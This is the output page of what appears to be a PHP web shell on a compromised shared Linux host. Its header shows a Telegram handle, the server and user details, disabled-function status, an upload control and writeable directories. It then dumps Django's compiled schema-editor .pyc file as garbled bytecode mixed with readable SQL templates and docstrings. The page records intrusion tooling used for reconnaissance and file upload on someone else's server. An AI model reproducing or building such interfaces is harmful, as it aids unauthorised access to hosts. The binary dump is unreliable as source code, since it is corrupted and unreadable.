https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/db/backends/base/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/db/backends/base/__pycache__/schema.cpython-310.pyc
o

3�a���@s�ddlZddlmZddlmZmZmZmZmZmZddl	m
Z
mZddlm
Z
mZddlmZddlmZmZddlmZe�d	�Zd
d�Zdd
�Zdd�ZGdd�d�ZdS)�N)�datetime)�Columns�Expressions�ForeignKeyName�	IndexName�	Statement�Table)�names_digest�split_identifier)�
Deferrable�Index)�Query)�TransactionManagementError�atomic)�timezonezdjango.db.backends.schemacCs2|j}|jrdS|jr|jdgkrdS|j|jvS)zz
    When altering the given field, must constraints on its model from the given
    relation be temporarily dropped?
    FNT)�field�many_to_many�primary_key�	to_fields�name)�relation�
altered_fieldr�r�@/usr/lib/python3/dist-packages/django/db/backends/base/schema.py�_is_relevant_relationsrcCs|jjdddd�S)NFT)�forward�reverse�include_hidden)�_meta�_get_fields��modelrrr�_all_related_fields �r"cs2t�fdd�t�j�D��fdd�t�j�D��S)Nc3��|]
}t|��r|VqdS�N�r��.0�obj)�	old_fieldrr�	<genexpr>(��z+_related_non_m2m_objects.<locals>.<genexpr>c3r$r%r&r')�	new_fieldrrr+)r,)�zipr"r!)r*r-r)r-r*r�_related_non_m2m_objects$s�r/c@s�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZeZd
ZdZdZdZdZdZdZdZdZeZdZeZdZdZdZeZdZ dZ!dZ"dZ#eZ$dZ%d�d d!�Z&d"d#�Z'd$d%�Z(d�d'd(�Z)d)d*�Z*d+d,�Z+d�d-d.�Z,d/d0�Z-d1d2�Z.d3d4�Z/d5d6�Z0e1d7d8��Z2d9d:�Z3d;d<�Z4d=d>�Z5d?d@�Z6dAdB�Z7dCdD�Z8dEdF�Z9dGdH�Z:dIdJ�Z;dKdL�Z<dMdN�Z=dOdP�Z>dQdR�Z?dSdT�Z@dUdV�ZAd�dWdX�ZB	d�dYdZ�ZCd[d\�ZDd�d]d^�ZEd_d`�ZFdadb�ZGdcdd�ZHd�dfdg�ZId�dhdi�ZJdjdk�ZKdldm�ZLdddededd&dd&ddddn�dodp�ZMd�dqdr�ZNdsdt�ZOdudv�ZPdwdx�ZQdydz�ZRd{d|�ZSd}d~�ZTdd��ZUd�d��ZVd�d��ZWd�d��ZXd�d��ZYd�d��ZZ		d�d�d��Z[		d�d�d��Z\		d�d�d��Z]d�d��Z^d�d��Z_d�d��Z`d�d��Za			d�d�d��Zbd�d�d��Zcd�d��Zdd�d��Zed�d��Zfd�d�d��ZgdS)��BaseDatabaseSchemaEditorz�
    This class and its subclasses are responsible for emitting schema-changing
    statements to the databases - model creation/removal/alteration, field
    renaming, index fiddling, and so on.
    z'CREATE TABLE %(table)s (%(definition)s)z1ALTER TABLE %(old_table)s RENAME TO %(new_table)sz7ALTER TABLE %(table)s SET TABLESPACE %(new_tablespace)szDROP TABLE %(table)s CASCADEz:ALTER TABLE %(table)s ADD COLUMN %(column)s %(definition)sz!ALTER TABLE %(table)s %(changes)sz%ALTER COLUMN %(column)s TYPE %(type)sz%ALTER COLUMN %(column)s DROP NOT NULLz$ALTER COLUMN %(column)s SET NOT NULLz/ALTER COLUMN %(column)s SET DEFAULT %(default)sz$ALTER COLUMN %(column)s DROP DEFAULTz2ALTER COLUMN %(column)s TYPE %(type)s%(collation)sz4ALTER TABLE %(table)s DROP COLUMN %(column)s CASCADEzDALTER TABLE %(table)s RENAME COLUMN %(old_column)s TO %(new_column)szFUPDATE %(table)s SET %(column)s = %(default)s WHERE %(column)s IS NULLz"UNIQUE (%(columns)s)%(deferrable)szCHECK (%(check)s)z.ALTER TABLE %(table)s DROP CONSTRAINT %(name)sz"CONSTRAINT %(name)s %(constraint)sz?ALTER TABLE %(table)s ADD CONSTRAINT %(name)s CHECK (%(check)s)zPALTER TABLE %(table)s ADD CONSTRAINT %(name)s UNIQUE (%(columns)s)%(deferrable)sz|ALTER TABLE %(table)s ADD CONSTRAINT %(name)s FOREIGN KEY (%(column)s) REFERENCES %(to_table)s (%(to_column)s)%(deferrable)sNzQCREATE INDEX %(name)s ON %(table)s (%(columns)s)%(include)s%(extra)s%(condition)szOCREATE UNIQUE INDEX %(name)s ON %(table)s (%(columns)s)%(include)s%(condition)szDROP INDEX %(name)szGALTER TABLE %(table)s ADD CONSTRAINT %(name)s PRIMARY KEY (%(columns)s)zDROP PROCEDURE %(procedure)sFTcCs,||_||_|jrg|_|jjjo||_dSr%)�
connection�collect_sql�
collected_sql�features�can_rollback_ddl�atomic_migration)�selfr1r2rrrr�__init__cs
z!BaseDatabaseSchemaEditor.__init__cCs(g|_|jrt|jj�|_|j��|Sr%)�deferred_sqlr6rr1�alias�	__enter__�r7rrrr;ls

z"BaseDatabaseSchemaEditor.__enter__cCs<|dur|jD]}|�|�q|jr|j�|||�dSdSr%)r9�executer6r�__exit__)r7�exc_type�	exc_value�	traceback�sqlrrrr>ss
�z!BaseDatabaseSchemaEditor.__exit__rcCs�|js|jjr|jjjstd��t|�}tjd||||d�d�|jrL|�	d�r*dnd}|durB|j
�|tt
|j|��|�dS|j
�||�dS|j���}|�||�Wd�dS1scwYdS)z:Execute the given SQL statement, with optional parameters.ziExecuting DDL statements while in a transaction on databases that can't perform a rollback is prohibited.z%s; (params %r))�paramsrB)�extra�;�N)r2r1�in_atomic_blockr4r5r�str�logger�debug�endswithr3�append�tuple�map�quote_value�cursorr=)r7rBrC�endingrPrrrr=|s�$"�z BaseDatabaseSchemaEditor.executecCs|jj�|�Sr%)r1�ops�
quote_name)r7rrrrrS��z#BaseDatabaseSchemaEditor.quote_namecs��jjD]}�fdd�|D�}�j����|��qg}g}�jjD]�}���|�\}}|dur1q"|j�jd�}	|	drE|d�j	|	7}|j
�jd�}
|
rT|d|
7}|�|�|jr�|j
r�|jjjj}|jjj�|jj�j}�jr�|d�j��|���|�d�7}n�jjjr��j����|d	��|�d
��|j�|f�|��dvr��jj��jj|j�}
|
r��j�|
�q"��fdd��jjD�}�j���jj�d
�dd�g|�|�RD��d�}�jjr��jj��jj�}|r�|d|7}||fS)z-Take a model and return its table definition.c�g|]	}�j�|�j�qSr�r�	get_field�column�r(rr rr�
<listcomp>��z6BaseDatabaseSchemaEditor.table_sql.<locals>.<listcomp>N�r1�check� � %s)�to_table�	to_column�_fk_%(to_table)s_%(to_column)sz%s %s)�	AutoField�BigAutoField�SmallAutoFieldcsg|]}|�����qSr)�constraint_sql�r(�
constraint�r!r7rrrZ���, css�|]}|r|VqdSr%rrgrrrr+�s�z5BaseDatabaseSchemaEditor.table_sql.<locals>.<genexpr>)�table�
definition) r�unique_togetherr9rL�_create_unique_sql�local_fields�
column_sql�
db_parametersr1�sql_check_constraint�db_type_suffix�extend�remote_field�
db_constraintr!�db_tablerW�
field_namerX�sql_create_inline_fkrSr4�supports_foreign_keys�_create_fk_sql�get_internal_typerR�autoinc_sql�constraints�sql_create_table�join�
db_tablespace�tablespace_sql)r7r!�fields�columns�column_sqlsrCrrm�extra_params�	db_params�col_type_suffixr`rar~rrBr�rrir�	table_sql�sZ
�

���z"BaseDatabaseSchemaEditor.table_sqlcCs^|j|jd�}|d}g}|durdSt|dd�}|r"||�|�7}|j}|o4|�|�o4|o3|�|�}|r_|�|�}	d|�|�}
|	dur_|jj	j
rV||
|�|	�7}n	||
7}||	g7}|jrl|j
sl|jj	jrld}|rx|jj	jsx|d7}n|s~|d	7}|j
r�|d
7}n|jr�|d7}|jp�|jj}|r�|jj	jr�|jr�|d|jjj|dd
�7}||fS)z�
        Take a field and return its column definition.
        The field must already have had set_attributes_from_name() called.
        r\�typeN)NN�db_collationz	 DEFAULT Tz NULLz	 NOT NULLz PRIMARY KEYz UNIQUEr_)�inline)rrr1�getattr�_collate_sql�null�skip_default�skip_default_on_alter�effective_default�_column_default_sqlr4�requires_literal_defaults�prepare_default�empty_strings_allowedr�!interprets_empty_strings_as_nulls�implied_column_null�uniquer�r�supports_tablespacesrRr�)r7r!r�include_defaultr�rBrC�	collationr��
default_value�column_default�
tablespacerrrrq�sL
��


�

z#BaseDatabaseSchemaEditor.column_sqlcC�dS)z�
        Some backends don't accept default values for certain columns types
        (i.e. MySQL longtext and longblob).
        Fr�r7rrrrr�
�z%BaseDatabaseSchemaEditor.skip_defaultcCr�)z�
        Some backends don't accept default values for certain columns types
        (i.e. MySQL longtext and longblob) in the ALTER COLUMN statement.
        Frr�rrrr�r�z.BaseDatabaseSchemaEditor.skip_default_on_altercCstd��)zU
        Only used for backends which have requires_literal_defaults feature
        z�subclasses of BaseDatabaseSchemaEditor for backends which have requires_literal_defaults must provide a prepare_default() method��NotImplementedError�r7�valuerrrr�s�z(BaseDatabaseSchemaEditor.prepare_defaultcCr�)z�
        Return the SQL to use in a DEFAULT clause. The resulting string should
        contain a '%s' placeholder for a default value.
        �%srr�rrrr�$r�z,BaseDatabaseSchemaEditor._column_default_sqlcCs�|��r
|��}|S|js!|jr!|jr!|��dkrd}|Sd}|St|dd�s-t|dd�rSt��}|��}|dkr?|�	�}|S|dkrI|�
�}|S|d	krQt��}|Sd}|S)
N�BinaryField�rF�auto_nowF�auto_now_add�	DateField�	TimeField�
DateTimeField)�has_default�get_defaultr��blankr�r}r�r�now�date�timer)r�default�
internal_typerrr�_effective_default+s.������z+BaseDatabaseSchemaEditor._effective_defaultcCs|�|�|�|j�S)z2Return a field's effective database default value.)�get_db_prep_saver�r1r�rrrr�Bsz*BaseDatabaseSchemaEditor.effective_defaultcCst��)aX
        Return a quoted version of the value so it's safe to use in an SQL
        string. This is not safe against injection from user code; it is
        intended only for use in making SQL scripts or preparing default values
        for particularly tricky backends (defaults are not user-defined, though,
        so this is safe).
        r�r�rrrrOFsz$BaseDatabaseSchemaEditor.quote_valuecCs\|�|�\}}|�||p
d�|j�|�|��|jjD]}|jjjj	r+|�
|jj�qdS)zr
        Create a table and any accompanying indexes or unique constraints for
        the given `model`.
        N)r�r=r9ru�_model_indexes_sqlr�local_many_to_manyrv�through�auto_created�create_model)r7r!rBrCrrrrr�Rs��z%BaseDatabaseSchemaEditor.create_modelcCs~|jjD]}|jjjjr|�|jj�q|�|jd|�|jj	�i�t
|j�D]}t|t
�r<|�|jj	�r<|j�|�q(dS)z!Delete a model from the database.rlN)rr�rvr�r��delete_modelr=�sql_delete_tablerSrx�listr9�
isinstancer�references_table�remove)r7r!rrBrrrr�cs����z%BaseDatabaseSchemaEditor.delete_modelcCs.|jr
|jjjs
dS|j|�||�dd�dS)zAdd an index on a model.N�rC)�contains_expressionsr1r4�supports_expression_indexesr=�
create_sql�r7r!�indexrrr�	add_indexss��z"BaseDatabaseSchemaEditor.add_indexcCs*|jr
|jjjs
dS|�|�||��dS)zRemove an index from a model.N)r�r1r4r�r=�
remove_sqlr�rrr�remove_index~s��z%BaseDatabaseSchemaEditor.remove_indexcCs&|�||�}|r|j|dd�dSdS)zAdd a constraint to a model.Nr�)r�r=�r7r!rhrBrrr�add_constraint�s�z'BaseDatabaseSchemaEditor.add_constraintcCs"|�||�}|r|�|�dSdS)z!Remove a constraint from a model.N)r�r=r�rrr�remove_constraint�s�z*BaseDatabaseSchemaEditor.remove_constraintcszdd�|D�}dd�|D�}|�|�D]
}|��|ddi|j�q|�|�D]}�fdd�|D�}|�|��|��q&dS)	z�
        Deal with a model changing its unique_together. The input
        unique_togethers must be doubly-nested, not the single-nested
        ["foo", "bar"] format.
        cS�h|]}t|��qSr�rM�r(r�rrr�	<setcomp>��zABaseDatabaseSchemaEditor.alter_unique_together.<locals>.<setcomp>cSr�rr�r�rrrr��r�r�TcrUrrVrYr rrrZ�r[zBBaseDatabaseSchemaEditor.alter_unique_together.<locals>.<listcomp>N)�
difference�_delete_composed_index�sql_delete_uniquer=ro)r7r!�old_unique_together�new_unique_together�olds�newsr�r�rr r�alter_unique_together�s�z.BaseDatabaseSchemaEditor.alter_unique_togethercs�dd�|D�}dd�|D�}|�|�D]}|��|ddd�|j�q|�|�D]}�fdd�|D�}|�|j�|d	d
��q'dS)z�
        Deal with a model changing its index_together. The input
        index_togethers must be doubly-nested, not the single-nested
        ["foo", "bar"] format.
        cSr�rr�r�rrrr��r�z@BaseDatabaseSchemaEditor.alter_index_together.<locals>.<setcomp>cSr�rr�r�rrrr��r�TF)r�r�c�g|]}�j�|��qSr�rrWrYr rrrZ�rjzABaseDatabaseSchemaEditor.alter_index_together.<locals>.<listcomp>�_idx�r��suffixN)r�r��sql_delete_indexr=�_create_index_sql)r7r!�old_index_together�new_index_togetherr�r�r��field_namesrr r�alter_index_together�s��z-BaseDatabaseSchemaEditor.alter_index_togetherc	s�dd��jjD�}dd��jjD�}�fdd�|D�}|j�|fd||Bi|��}t|�dkr?tdt|��jjd	�|�f��|�|�	|�|d
��dS)NcS�h|]}|j�qSr�rrgrrrr���zBBaseDatabaseSchemaEditor._delete_composed_index.<locals>.<setcomp>cSr�rr�rgrrrr��r�crUrrVrYr rrrZ�r[zCBaseDatabaseSchemaEditor._delete_composed_index.<locals>.<listcomp>�exclude�z1Found wrong number (%s) of constraints for %s(%s)rkr)
rr�indexes�_constraint_names�len�
ValueErrorrxr�r=�_delete_constraint_sql)	r7r!r��constraint_kwargsrB�meta_constraint_names�meta_index_namesr��constraint_namesrr rr��s"����z/BaseDatabaseSchemaEditor._delete_composed_indexcCsn||ks|jjjr|��|��krdS|�|j|�|�|�|�d��|jD]
}t|t	�r4|�
||�q'dS)z#Rename the table a model points to.N)�	old_table�	new_table)r1r4�ignores_table_name_case�lowerr=�sql_rename_tablerSr9r�r�rename_table_references)r7r!�old_db_table�new_db_tablerBrrr�alter_db_table�s�
�

��z'BaseDatabaseSchemaEditor.alter_db_tablecCs2|�|j|�|jj�|�|�|�|�d��dS)z)Move a model's table between tablespaces.)rl�old_tablespace�new_tablespaceN)r=�sql_retablespace_tablerSrrx)r7r!�old_db_tablespace�new_db_tablespacerrr�alter_db_tablespace�s
�z,BaseDatabaseSchemaEditor.alter_db_tablespacec

Cs�|jr|jjjjr|�|jj�S|j||dd�\}}|dur dS|j|jd�}|dr4|d|j	|7}|jr�|jj
jr�|jr�d}|j
r�|jjjj}|jjj�|jj�j}t|jj�\}	}
|d|j
|�|||�|	rpd|�|	�nd	|�|j�|�|�|�|�|jj��d
�7}n|j�|�|||��|j|�|jj�|�|j�|d�}|�||�|�|�s�|�|�dur�|j|d|dd�\}}|j |�|jj�|d
�}|�||�|j�!|�"||��|jj
j#r�|j�$�dSdS)z�
        Create a field on a model. Usually involves adding a column, but may
        involve adding a table instead (for M2M fields).
        T)r�Nr\r]r^rbz%s.rF)r�	namespacerXr`ra�
deferrable)rlrXrm��drop�rl�changes)%rrvr�rr�r�rqrrr1rsr4r{rw�sql_create_column_inline_fkr!rxrWryrXr
�_fk_constraint_namerSrR�deferrable_sqlr9rLr|�sql_create_columnr=r�r��_alter_column_default_sql�sql_alter_columnru�_field_indexes_sql�connection_persists_old_columns�close)
r7r!rrmrCr��constraint_suffixr`rar�_rB�changes_sqlrrr�	add_field�sP

�

��
�z"BaseDatabaseSchemaEditor.add_fieldcCs�|jr|jjjjr|�|jj�S|j|jd�ddurdS|jr8|j||j	gdd�}|D]}|�
|�||��q,|j|�
|jj�|�
|j	�d�}|�
|�|jjjrX|j��t|j�D]}t|t�rs|�|jj|j	�rs|j�|�q]dS)z�
        Remove a field from a model. Usually involves deleting a column,
        but for M2Ms may involve deleting a table.
        r\r�NT��foreign_key)rlrX)rrvr�rr�r�rrr1r�rXr=�_delete_fk_sql�sql_delete_columnrSrxr4rrr�r9r�r�references_columnr�)r7r!r�fk_names�fk_namerBrrr�remove_fields(
�


��z%BaseDatabaseSchemaEditor.remove_fieldc	
Cs0|�||�sdS|j|jd�}|d}|j|jd�}|d}|dur'|jdus0|dur8|jdur8td||f��|dur\|dur\|jjr\|jjr\|jjjjr\|jjjjr\|�||||�S|durz|durz|jjrz|jjrz|jjjjsz|jjjjszdS|dus�|dur�td||f��|�	||||||||�dS)a'
        Allow a field's type, uniqueness, nullability, default, column,
        constraints, etc. to be modified.
        `old_field` is required to compute the necessary changes.
        If `strict` is True, raise errors if the old column does not match
        `old_field` precisely.
        Nr\r�zqCannot alter field %s into %s - they do not properly define db_type (are you using a badly-written custom field?)z�Cannot alter field %s into %s - they are not compatible types (you cannot alter to or from M2M fields, or add or remove through= on M2M fields))
�_field_should_be_alteredrrr1rvr�r�rr��_alter_many_to_many�_alter_field)	r7r!r*r-�strict�
old_db_params�old_type�
new_db_params�new_typerrr�alter_field8sT����
�
���
�
����z$BaseDatabaseSchemaEditor.alter_fieldc	)Cs�t�}	|jjjrC|jrC|jrC|j||jgdd�}
|r.t|
�dkr.t	dt|
�|j
j|jf��|
D]}|	�|jf�|�
|�||��q0|jr�|jrO|�||�r�dd�|j
jD�}|j||jgdd|d�}
|rzt|
�dkrzt	d	t|
�|j
j|jf��|
D]}|�
|�||��q||jjjo�|jr�|jp�|jo�|jo�||k}|r�t||�D]\}}|j|j|jjgdd�}|D]}|�
|�|j|��q�q�|jr�|js�|jr�|jr�d
d�|j
jD�}|j||jgdtj|d�}|D]}|�
|�||��q�|d|dk�r=|d�r=d
d�|j
jD�}|j||jgd|d�}
|�r.t|
�dk�r.t	dt|
�|j
j|jf��|
D]}|�
|�||���q0|j|jk�ri|�
|�|j
j|||��|jD]}t|t ��rg|�!|j
j|j|j��qTg}g}g}t"|dd�}t"|dd�}||k�r�|�#||||�}|�$|�n||k�r�|�%||||�\}}|�$|�|�&|�d}|j'�r�|j'�s�|�(|�}|�(|�} |�)|��s�|| k�r�| du�r�d}|�$|�*|||��|j'|j'k�r�|�+|||�}|�r�|�$|�|�,��o�|j'�o�|j'}!|�s|�ro|!�s||}|jjj-�r#|�r#t.t/|��\}}"d�0|�t1|"g�fg}|D]\}}"|�
|j2|�3|j
j�|d�|"��q%|!�ro|�
|j4|�3|j
j�|�3|j�dd�| g�|D]\}}"|�
|j2|�3|j
j�|d�|"��qX|�r�|D]\}}"|�
||"��qt|j�r�|j�s�|�5||�|�6||��r�|�
|�7||jg��|j�r�|j�r�|j�r�|j�s�|�
|j8||gd��g}#|�r�|#�&t||��|�||��r�|�
|�9||��|#�&t||��|#D]B\}$}|jj:|jd�}%|%d}&|�%|j|$j|j|&�\}}|�
|j2|�3|jj
j�|dd�|d�|D]\}}"|�
||"��q�q�|jjj�rH|j�rH|	�s:|j�r:|j�sH|j�rH|�
|�;||d��|�rk|j<j
j=D]}'t>|'|��ri|'jj�ri|�
|�;|'j|'jd���qP|d|dk�r�|d�r�|j?|j
j|jgdd�}|�
|�@|||d��|�r�|j*|||dd�\}(}"|j2|�3|j
j�|(d�}|�
||"�|jjjA�r�|j�B�dSdS)z3Perform a "physical" (non-ManyToMany) field update.Trr�z<Found wrong number (%s) of foreign key constraints for %s.%scSr�rr�rgrrrr�zr�z8BaseDatabaseSchemaEditor._alter_field.<locals>.<setcomp>F)r�rr�z7Found wrong number (%s) of unique constraints for %s.%scSr�rr�)r(r�rrrr��r�)r��type_r�r]cSr�rr�rgrrrr��r�)r]r�z6Found wrong number (%s) of check constraints for %s.%sr�Nrkr
r�)rlrXr��r�r\r�rrb�_fk�_check�r�r)C�setr1r4r{rvrwr�rXr�r�rrx�addr=rr��_field_became_primary_keyr�_delete_unique_sqlrr/�
related_modelr�db_indexr�rr��_delete_index_sql�_delete_check_sql�_rename_field_sqlr9r�r�rename_column_referencesr��_alter_column_collation_sqlrL�_alter_column_type_sqlrur�r�r�r�_alter_column_null_sqlr��supports_combined_altersrMr.r��sumrrS�sql_update_with_default�_delete_primary_key�_unique_should_be_addedror��_create_primary_key_sqlrrr|r!�related_objectsr�_create_index_name�_create_check_sqlrr))r7r!r*r-r&r(r%r'r$�fks_droppedrrr�r��constraint_name�drop_foreign_keys�_old_rel�new_rel�rel_fk_namesr��index_names�
index_namerB�actions�null_actions�post_actions�
old_collation�
new_collation�fragment�
other_actions�needs_database_default�old_default�new_default�four_way_default_alterationrC�rels_to_update�old_rel�
rel_db_params�rel_type�relrrrrr#cs�������

�����
��
�





�



���
��
�� 
�����������z%BaseDatabaseSchemaEditor._alter_fieldcCsX|jjjr
|��dvr
dS|j|jd�}|jr|jn|j}||�|j	�|dd�gfS)z�
        Hook to specialize column null alteration.

        Return a (sql, params) fragment to set a column to null or non-null
        as required by new_field, or None if no changes are required.
        )�	CharField�	TextFieldNr\r��rXr�)
r1r4r�r}rrr��sql_alter_column_null�sql_alter_column_not_nullrSrX)r7r!r*r-r'rBrrrr;bs

��z/BaseDatabaseSchemaEditor._alter_column_null_sqlc
Cs�|�|�}|�|�}|g}|rg}n|jjjr|�|�}g}|j|jd�}|r2|jr.|j}	n|j	}	n|j
}	|	|�|j�|d|d�|fS)z�
        Hook to specialize column default alteration.

        Return a (sql, params) fragment to add or drop (depending on the drop
        argument) a default to new_field's column.
        r\r�)rXr�r�)
r�r�r1r4r�r�rrr�� sql_alter_column_no_default_null�sql_alter_column_no_default�sql_alter_column_defaultrSrX)
r7r!r*r-r	rVr�rCr'rBrrrrxs*




��z2BaseDatabaseSchemaEditor._alter_column_default_sqlcCs |j|�|j�|d�gfgfS)a�
        Hook to specialize column type alteration for different backends,
        for cases when a creation type is different to an alteration type
        (e.g. SERIAL in PostgreSQL, PostGIS fields).

        Return a two-tuple of: an SQL fragment of (sql, params) to insert into
        an ALTER TABLE statement and a list of extra (sql, params) tuples to
        run once the field is altered.
        r_)�sql_alter_column_typerSrX)r7r!r*r-r(rrrr:�s
���z/BaseDatabaseSchemaEditor._alter_column_type_sqlcCs,|j|�|j�||r|�|�ndd�gfS)NrF)rXr�r�)�sql_alter_column_collaterSrXr�)r7r!r-r(rQrrrr9�s
��z4BaseDatabaseSchemaEditor._alter_column_collation_sqlcCs�|jjjj|jjjjkr|�|jj|jjjj|jjjj�|�|jj|jjj�|���|jjj�|����|�|jj|jjj�|���|jjj�|����dS)z*Alter M2Ms to repoint their to= endpoints.N)	rvr�rrxr�r)rW�m2m_reverse_field_name�m2m_field_name)r7r!r*r-r$rrrr"�s
���z,BaseDatabaseSchemaEditor._alter_many_to_manyrFc	Cs�t|�\}}dt|g|�Rddi�|f}|jj��pd}d|d�|�|f}t|�|kr/|St|�|dkr?|d|d�}|t|�d	d
}d|d|�d�|�d|�|f}|ddksg|d��rod|dd
�}|S)z�
        Generate a unique name for an index/unique constraint.

        The name is divided into 3 parts: the table name, the column names,
        and a unique digest and suffix.
        z%s%s�length���z%s_%s_%sr�N�r�rzD%s���)r
r	r1rR�max_name_lengthr�r��isdigit)	r7�
table_name�column_namesr�r�hash_suffix_part�
max_lengthrL�other_lengthrrrrC�s"
�z+BaseDatabaseSchemaEditor._create_index_namecCsX|durt|�dkr|djr|dj}n|jjr|jj}|dur*d|jj�|�SdS)Nr�rr^rF)r�r�rr1rRr�)r7r!r�r�rrr�_get_index_tablespace_sql�sz2BaseDatabaseSchemaEditor._get_index_tablespace_sqlcCs|rd|SdS)Nz WHERE rFr)r7�	conditionrrr�_index_condition_sql�sz-BaseDatabaseSchemaEditor._index_condition_sqlcCs,|r|jjjs	dStdt|jj||j�d�S)NrFz INCLUDE (%(columns)s))r�)r1r4�supports_covering_indexesrrrrxrS)r7r!r�rrr�_index_include_sql�s�z+BaseDatabaseSchemaEditor._index_include_sql)r�rr��usingr��col_suffixesrB�	opclassesrw�include�expressionscs�|pg}|pg}t|dd�j�jd�}
�j|||d�}dd�|D�}|p&�j}|jj}��fdd�}t|t|�j	�t
||||�||rJ��||||	�nt|||
�j
�|��|
���||�d	�S)
z�
        Return the SQL statement to create the index for one or several fields
        or expressions. `sql` can be specified if the syntax differs from the
        standard (GIS indexes, ...).
        F)�
alias_colsr\)r�cSsg|]}|j�qSr)rXrYrrrrZr�z>BaseDatabaseSchemaEditor._create_index_sql.<locals>.<listcomp>cs"�dur�j|i|�������Sr%)rCrS��args�kwargs�rr7rr�create_index_names
zEBaseDatabaseSchemaEditor._create_index_sql.<locals>.create_index_name)rlrr{r�rDrwr~)r
�get_compilerr1rv�sql_create_indexrrxrrrSr�_index_columnsrrOrxrz)r7r!r�rr�r{r�r|rBr}rwr~r�compilerr�r�r�rlr�rr�rr�s,�

�
�z*BaseDatabaseSchemaEditor._create_index_sqlcCs&t|p|jt|jj|j�|�|�d�S�N)rlr)rr�rrrxrS)r7r!rrBrrrr5,s
�z*BaseDatabaseSchemaEditor._delete_index_sqlcCst|||j|d�S)N)r|)rrS)r7rlr�r|r}rrrr�3r#z'BaseDatabaseSchemaEditor._index_columnscs��jjr�jjs�jjrgSg}�jjD]}|�|��|��q�jjD]}�fdd�|D�}|�|j	�|dd��q$�jj
D]}|jrI|jj
jrR|�|��|��q?|S)z�
        Return a list of all index SQL statements (field indexes,
        index_together, Meta.indexes) for the specified model.
        cr�rr�rYr rrrZBrjz?BaseDatabaseSchemaEditor._model_indexes_sql.<locals>.<listcomp>r�r�)r�managed�proxy�swappedrprur�index_togetherrLr�r�r�r1r4r�r�)r7r!�outputrr�r�r�rr rr�6s ���z+BaseDatabaseSchemaEditor._model_indexes_sqlcCs*g}|�||�r|�|j||gd��|S)zT
        Return a list of all index SQL statements for the specified field.
        r+)�_field_should_be_indexedrLr�)r7r!rr�rrrrMsz+BaseDatabaseSchemaEditor._field_indexes_sqlcCsv|��\}}}}|��\}}}}	gd�}
|
D]}|�|d�|	�|d�q|�|j�|�|j�kp:|||f|||	fkS)N)r��	db_column�editable�error_messages�	help_text�limit_choices_to�	on_delete�related_name�related_query_name�
validators�verbose_name)�deconstruct�poprSrX)r7r*r-r�old_path�old_args�
old_kwargs�new_path�new_args�
new_kwargs�non_database_attrs�attrrrrr!Vs�z1BaseDatabaseSchemaEditor._field_should_be_alteredcCs|jo|jSr%)r4r��r7r!rrrrr�srTz1BaseDatabaseSchemaEditor._field_should_be_indexedcCs|jo|jSr%�r�r7r*r-rrrr1vrTz2BaseDatabaseSchemaEditor._field_became_primary_keycCs"|jr|jp|jo|jo|jSr%)r�rr�rrrr@ys�z0BaseDatabaseSchemaEditor._unique_should_be_addedcCs*|j|�|�|�|j�|�|j�|d�S)N)rl�
old_column�
new_columnr�)�sql_rename_columnrSrX)r7rlr*r-r(rrrr7~s

�z*BaseDatabaseSchemaEditor._rename_field_sqlc
	Cs�t|jj|j�}|�|||�}t|jj|jg|j�}t|jjjj|j�}t|jjjj|jjg|j�}|j	j
��}	t|j
||||||	d�S)N)rlrrXr`rar)rrrxrSr
rrX�target_fieldr!r1rRrr�
sql_create_fk)
r7r!rr�rlrrXr`rarrrrr|�s�z'BaseDatabaseSchemaEditor._create_fk_sqlcs<�fdd�}t|jj|jgt|jjjj�d|jjg||�S)Nc����j|i|���Sr%�rSrCr�r<rr�create_fk_name��zDBaseDatabaseSchemaEditor._fk_constraint_name.<locals>.create_fk_namer�)rrrxrXr
r�r!)r7r!rr�r�rr<rr
�s�z,BaseDatabaseSchemaEditor._fk_constraint_namecC�|�|j||�Sr%)r��
sql_delete_fk�r7r!rrrrr��z'BaseDatabaseSchemaEditor._delete_fk_sqlcCs,|durdS|tjkr
dS|tjkrdSdS)NrFz DEFERRABLE INITIALLY DEFERREDz DEFERRABLE INITIALLY IMMEDIATE)r�DEFERRED�	IMMEDIATE)r7rrrr�_deferrable_constraint_sql�s

�z3BaseDatabaseSchemaEditor._deferrable_constraint_sqlc
Cs�|r	|jjjs	dS|s|s|r$|j||||||d�}|r"|j�|�dS|jd�t|j	|��|�
|�d�}	|j|�	|�|	d�S)N)rrwr~r}rk)r�r�rrh)r1r4�&supports_deferrable_unique_constraintsror9rL�sql_unique_constraintr�rNrSr��sql_constraint)
r7r!r�rrwrr~r}rBrhrrr�_unique_sql�s2�����z$BaseDatabaseSchemaEditor._unique_sqlcs�|r�jjjr|r�jjjr|r�jjjsdS�fdd�}t|jj�j�}	|dur3t	|jj|d|�}n��|�}�j
|	|d|d�}|sG|sG|rK�j}
n�j}
t
|
|	||��|���|���||�d�S)Ncr�r%r�r�r<rr�create_unique_name�r�zGBaseDatabaseSchemaEditor._create_unique_sql.<locals>.create_unique_name�_uniqr)r|r})rlrr�rwrr~)r1r4r��supports_partial_indexesryrrrxrSrr��sql_create_unique_index�sql_create_uniquerrxr�rz)r7r!r�rrwrr~r}r�rlrBrr<rro�s>������

�z+BaseDatabaseSchemaEditor._create_unique_sqlcCsV|r|jjjr|r|jjjr|r|jjjsdS|s|s|r!|j}n|j}|�|||�Sr%)r1r4r�r�ryr�r�r�)r7r!rrwrr~r}rBrrrr2�s"������z+BaseDatabaseSchemaEditor._delete_unique_sqlcCs |j|�|�|jd|id�S)Nr]r�)r�rSrs)r7rr]rrr�
_check_sqls�z#BaseDatabaseSchemaEditor._check_sqlcCs$t|jt|jj|j�|�|�|d�S)N)rlrr])r�sql_create_checkrrrxrS)r7r!rr]rrrrD
s�z*BaseDatabaseSchemaEditor._create_check_sqlcCr�r%)r��sql_delete_checkr�rrrr6r�z*BaseDatabaseSchemaEditor._delete_check_sqlcCs t|t|jj|j�|�|�d�Sr�)rrrrxrS)r7�templater!rrrrr�s
�z/BaseDatabaseSchemaEditor._delete_constraint_sqlc
s|dur
�fdd�|D�}�j���}
�jj�|
|jj�}Wd�n1s'wYg}|��D]Y\}
}|dus@||dkr�|durK|d|krKq2|durV|d|krVq2|dura|d|kraq2|durl|d|krlq2|duru|d	suq2|dur�|d
|kr�q2|	r�|
|	vr�|�|
